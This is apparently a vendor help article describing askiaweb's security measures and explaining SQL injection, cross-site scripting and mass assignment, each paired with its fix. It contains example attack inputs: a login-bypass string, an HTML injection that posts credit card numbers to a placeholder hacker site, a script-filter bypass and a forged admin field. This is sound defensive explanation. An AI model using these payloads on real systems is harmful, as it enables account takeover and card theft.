|Summary||This article describes security measure in askiaweb.|
|Written for||Fieldwork manager|
- SQL Injection & XSS
Vulnerability tests done in 2010 october with the MaxPatrol software
This first test was report some vulnerabilities which has been fixed
A second test was done in 2010 december and didn't report any vulnerability
Remove dangerous escape characters such as ' < > and their encoded representation
- Mass assignment
White list the parameters send between the client and the server side
- Data storage
Interviews are stores in binary format into SQL Server databases.
We are compliant with the HTTP SSL protocol, however customers are responsible to apply the appropriate SSL certificate in IIS.
It’s important to understand the different type of attacks:
The SQL Injection is an attack to inject SQL clause statement using input of the form. Many times it’s used in login page.
How it works?
We all the time use the clause 'WHERE' in SQL queries to filter the data result.
The clause 'WHERE' is complex and could have the following pattern:
WHERE LValue1 = RValue1 AND LValue2 = RValue2 OR LValue3
You could have many comparison statement LValue = RValue, LValue <> RValue ...
You could have a statement without comparison like (1, true, 0, false) ...
You could have many logical statements AND/OR ...
The RValue in the comparison statement should be surround by a special characters according to the type of the value.
The SQL Injection is most of the time done in the String value which is surround by single quotes:
LValue = 'String value'
If the string contains a quote it should be escape by another quote ‘ ‘ (the space between the quote is to clarify it’s not a double quote but two single quotes)
A SQL request is dynamic and the value is most of the time coming from the user input for example:
If the input login is `my login` the SQL query will be:
SELECT * FROM Users WHERE Login='my login' LIMIT 1
Now if a malicious user enter the following login ‘ or ‘1’ = ‘1 The SQL query will look like that:
SELECT * FROM Users WHERE Login=‘’ or ‘1’ = ‘1’ LIMIT 1
In that case the SQL query will return the first user in the database (usually the super administrator) and the user is authenticate with full right.
How to fix?
The fix of to protect against the SQL Injection is trivial all strings should be escaped before is usage (replace all single quotes in the string by two single quotes):
SELECT * FROM Users WHERE Login=‘’’ or ‘’1’’ = ‘’1’ LIMIT 1
In that cases no user will be returned by the SQL query (except if the login is ‘ or ‘1’ = ‘1)
How it works?
Here a little demonstration using the Askia context (this demonstration will not works in real world because Askia is protected against):
The value of questions 'name' and 'email' are imported by a parameter in URL.
In one page I refer to the question name using the ??name??
In another page I ask the user to validate his email address.
So the url expected is
I'm the hacker.
I receive this kind of URL, after some tests, I realized that the system is not secure.
So I imagine 2 XSS scenarios:
2/ Just after the email address, I will ask the credit card of people using this peace of code: </textarea></form>lt;form action="http://my.hack.site">Don't worry it's secure!! Please indicates your credit card<textarea name="cb">
- The system will create a tag <textarea>EMAIL</textarea> and because the EMAIL is not escaping
- I'm closing the textarea by </textarea>
- I'm closing the askia form by </form>
- Creating a new form with a newest question (Give me your credit card)
- The tags </textarea> and </form> will be automatically added by the regular Askia form
- The submit buttons 'Previous', 'Pause' and 'Next' are now inside my new form so it will send your credit card to my hack site
And now I will URLEncode the parameters, copy the template of email and invite people to answer the survey using the following url (indeed I’m placing it into a “Click here” link (<a href="">Click here</a>) to mask the long url).
How to fix it?
A standard fix is to always do an HTML escape of the data before to use it.
Moreover some characters on input values will be removed or re-encode to avoid this kind of attack (see the next sections)
White list instead of black list:
This is recommended by all security experts.
Using a black list, you will probably try to remove the words <script> and </script> but hackers are really ingenious: <scr<script>pt>....</scr</script>ipt> will produce <script>….</script>
The mass assignment is to add extra inputs in the original form to set an arbitrary value.
How that works?
Let’s imagine a user have an access to a form to update his profile and inputs has the following pattern:
<input type=“text” name=“user[name]” value=“…” />
<input type=“text” name=“user[login]” value=“…” />
The server side will iterate through the user hash parameter to update the user, in pseudo code:
For each attribute in request[“user”] CurrentUser[attribute] = request[“user”][attribute] Next CurrentUser.Save()
In that case, a malicious user could add an extra input in the form (by using a developer tools in browser) like that:
<input type=“text” name=“user[admin]” value=“1” />
If the “admin” field exist in the database the user has promote himself as an administrator.
How to fix it?
We are using a whitelist of parameter to read for a given interview and for a given page.
Each page is identified and the parameter send to the server-side will only affect data on this page unless if the data of the page trigger a routing like a set value.